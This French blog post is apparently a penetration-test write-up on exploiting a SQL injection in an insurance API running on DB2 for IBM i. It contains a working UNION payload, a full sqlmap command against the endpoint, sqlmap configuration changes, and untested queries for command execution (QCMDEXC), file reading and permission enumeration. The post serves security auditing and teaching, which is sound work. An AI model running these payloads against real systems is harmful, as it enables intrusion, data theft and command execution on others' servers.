Sommaire
Injection SQL : de l’erreur SQL à la découverte de la vulnérabilité
Une erreur SQL exposée, retournée par une API de gestion de contrats d’assurance, a marqué le point de départ de cette investigation sur une injection SQL.


Un tel niveau de détail annonce une exploitation simple de l’injection : la requête détaillée est renvoyée au sein d’une erreur Java. Deux idées d’exploitation viennent à l’esprit : Error Based puisque la pile d’erreur complète est renvoyée, et Union Based, qui permet d’extraire des données simplement de n’importe quelle requête.
Avant de se précipiter sur SQLMap pour automatiser l’extraction des données de la base, il peut être intéressant de regarder la construction de cette requête pour obtenir des informations sur le SGBD utilisé et ainsi limiter le nombre de requête nécessaires à SQLMap pour l’exploitation.
SELECT
CASE WHEN S0SITP>=10 THEN 'CLOSED' ELSE 'OPEN' END CLAIM_STATUS,
digits(s0BRANCH) || digits(S0$SIN) N_CLAIM,
TRIM(SMANAG) AS MANAGER_CLAIM,
DIGITS(SACLAIM) || '-' || DIGITS(SMCLAIM) || '-' || DIGITS(SDCLAIM) AS OCCURENCE_DATE,
TRIM(E.TVDESC) OCCURENCE_TYPE,
TRIM(SRESP) || '%' RESPONSABILITY,
TRIM(S0BRANCH) BRANCH,
TRIM(SNPOLIC) POLICY_NUMBER
FROM DBGISDT.SINI00
LEFT JOIN DBGISCT.TRLINF D ON
D.TFBRANCH=S0BRANCH
AND D.TFTSEG=S0TSEG
AND D.TFTYPE ='S0'
AND D.TFCONC ='TYPESIN'
LEFT JOIN DBGISCT.TABVAL E ON
D.TFVALO=E.TV$INF
AND S0INF6=E.TVVALI
WHERE
(S0BRANCH=po AND SNPOLIC=licy)
and not exists (
Select * from DBGISCT.GROUP3
WHERE GR$CLA=015 and GR$GRU=1 and s0BRANCH=GRBRANCH and s0tseg=GRTSEG
)Un bon indice pour trouver le SGBD utilisé est de chercher les fonctions SQL utilisées, beaucoup sont spécifiques. Ici la fonction DIGITS ne semble pas provenir des SGBD les plus courants, une petite recherche internet nous amène sur la documentation de DB2.
Une autre possibilité pour trouver le SGBD est de regarder l’erreur renvoyée par le serveur : Adapter Runtime (Adapter Service): Unable to invoke adapter service client.cec.adapters.jdbc:dynamiciSeriesAdapter with connection client.connections.adapters.jdbc:iseries. Nous sommes face à un mainframe iSerie d’IBM, la base de données utilisée est certainement DB2, donc cela confirme l’hypothèse initiale.
Construction d’une commande SQLMap pour une exploitation fonctionnelle
Pour éviter de surcharger le serveur du client avec des requêtes inutiles, il est judicieux de construire la requête exploitable et de la renseigner directement à SQLMap.
La requête exécutée impose les contraintes suivantes pour obtenir une injection fonctionnelle :
- Huit colonnes sont renvoyées, elles sont toutes de type
VARCHAR(utilisation deTRIMou concaténation de chaînes de caractères) - L’entrée
id_policyest scindée en 2 éléments et injectée dans la condition WHERE à la fin de la requête - La valeur attendue est numérique puisqu’il n’y a pas de
'pour l’encapsuler - L’utilisation de sauts de ligne bloque l’utilisation de commentaires pour échapper la fin de la requête (
--commente la fin de la ligne courante et/* ... */nécessite de fermer le commentaire pour qu’il soit syntaxiquement correct)
La payload suivante peut être utilisée (en conservant la table au sein de laquelle la recherche UNION est faite pour s’assurer que les colonnes utilisée dans la condition WHERE existent) :
123) UNION SELECT '1','2','3','4','5','6','7','8' FROM DBGISDT.SINI00 WHERE (1=1
L’injection fonctionne, l’ordre des colonnes retournées est conservé !
Cela donne la commande SQLMap suivante, retrouvant l’injection en un unique test :
sqlmap -u "https://client.local:5766/gateway/Sinistros/1.0/sinistros/list" --method="POST" --data='{"id_policy":"123"}' --proxy "http://localhost:8081" --technique U --union-cols=8 --union-char="'a'" --union-from="DBGISDT.SINI00" -p "id_policy" --prefix=")" --suffix="WHERE (1=1" --tamper unionalltounion.py --dbms "IBM DB2"
Cependant lors de l’extraction d’informations, SQLMap ne parvient pas à récupérer les données à cause d’erreur du serveur. Par exemple avec --current-user :

Les erreurs renvoyées par le serveur aux requêtes effectuées par SQLMap sont les suivantes : [SQL0204] SYSVERSIONS in SYSIBM type *FILE not found. Cette erreur vient des différences entre les implémentations de DB2 pour les différents systèmes. Ici les schémas systèmes sont ceux de DB2 for IBM i alors que SQLMap fonctionne avec les schémas de DB2 UDB.
La plupart des requêtes enregistrées dans le fichier /sqlmap/data/xml/queries.xml sont ainsi inutilisables pour cette injection.
Requêtes types pour DB2 for IBM i
Les recherches sur DB2 for IBM i réalisée dans le cadre de cette investigation ont permis de construire la liste de payloads suivante pour ce SGDB : https://github.com/I-TRACING-ASO/blog-sources/blob/main/SQL-Injection-to-AS400-master/list-sql-queries-DB2-for-IBMi.md#standard-queries-for-db2-for-ibm-i
Adaptation de SQLMap
Nous avons intégré les payloads trouvées sur DB2 for IBM i dans les fichiers de configuration de SQLMap. Ces modifications constituent une mise à niveau simple à implémenter pour nous aider lors de l’investigation. Une pull request devra être proposée pour ajouter ce SGBD de manière pérenne dans SQLMap.
Dans le fichier /sqlmap/data/xml/queries.xml, remplacer la balise de IBM DB2 par le contenu de ce fichier : https://github.com/I-TRACING-ASO/blog-sources/blob/main/SQL-Injection-to-AS400-master/sqlmap-queries.xml
Nouvelles pistes d’exploration pour l’injection SQL et la prise de contrôle d’environnements AS/400
Plusieurs pistes restent à creuser pour compléter les injections et exploitations possible sur DB2 for IBM i, n’ayant pas eu le temps de tout traiter lors de notre investigation.
Toutes les requêtes données ci-dessous ont été trouvées lors de l’exploration de la documentation pour compléter cet article mais n’ont pas été testées sur DB2 for IBM i.
Autorisations
SELECT * FROM QSYS2.AUTHORIZATION_LIST_USER_INFO WHERE AUTHORIZATION_NAME='<user>';
SELECT * FROM QSYS2.AUTHORIZATION_LIST_USER_INFO WHERE AUTHORIZATION_NAME='*PUBLIC';Exécution de commandes
Le contexte d’exécution iSeries est particulier et ne permet pas l’utilisation de commandes valides sous Linux. La requête suivante semble fonctionner si l’utilisateur dispose des droits suffisants et permet de lire les informations de profil d’un utilisateur.
SELECT VARCHAR(QSYS2.QCMDEXC('DSPUSRPRF USRPRF(IBM)')) FROM sysibm.sysdummy1Cependant, elle ne renvoie aucune information dans DB2 et doit être utilisée avec un fichier de sortie pour récupérer son résultat.
Lecture de fichiers
SELECT * FROM TABLE(QSYS2.IFS_READ(PATH_NAME => '/path/to/file', END_OF_LINE => 'CRLF'));Informations système
SELECT ENVIRONMENT_VARIABLE_NAME, ENVIRONMENT_VARIABLE_VALUE FROM QSYS2.ENVIRONMENT_VARIABLE_INFO WHERE ENVIRONMENT_VARIABLE_TYPE = 'SYSTEM'
SELECT DATA_BINARY FROM TABLE(QSYS2.USER_SPACE(USER_SPACE => 'USRSPACE1', USER_SPACE_LIBRARY => '*CURLIB*'));
SELECT DATA_BINARY FROM TABLE(QSYS2.USER_SPACE(USER_SPACE => 'USRSPACE1', USER_SPACE_LIBRARY => '*LIBL*'));Conclusion
Au-delà de l’exploitation technique, cette investigation rappelle que :
- Les messages d’erreur détaillés peuvent constituer un risque de sécurité majeur et ne doivent jamais être exposés dans des environnements de production ;
- Les outils open source tels que SQLMap, bien que puissants, ne couvrent pas tous les cas particuliers et nécessitent des adaptations pour mener des évaluations de sécurité complètes ;
- Une recherche documentaire approfondie et une bonne compréhension de l’architecture du système cible sont essentielles à la réussite d’une exploitation ;
- Des injections simples au niveau des endpoints d’API peuvent avoir des conséquences critiques sur la sécurité.
Références
- https://copyprogramming.com/howto/get-list-of-db2-databases-and-tables-through-linked-server
- https://itpscan.ca/blog/iSeries/sql2
- https://www.ibm.com/docs/en/i/7.5?topic=views-i-catalog-tables
- https://www.ibm.com/docs/en/i/7.5?topic=reference-built-in-global-variables
- https://www.ibm.com/docs/en/i/7.5?topic=reference-built-in-functions
- https://www.ibm.com/docs/en/i/7.5?topic=services-qcmdexc-scalar-function
- https://www.ibm.com/docs/en/i/7.5?topic=optimization-i-services
- https://www.ibm.com/docs/en/i/7.5?topic=database-information-finder
Auteur
Amos GEORGE, Audit & Sécurité Offensive I-TRACING
10 février 2026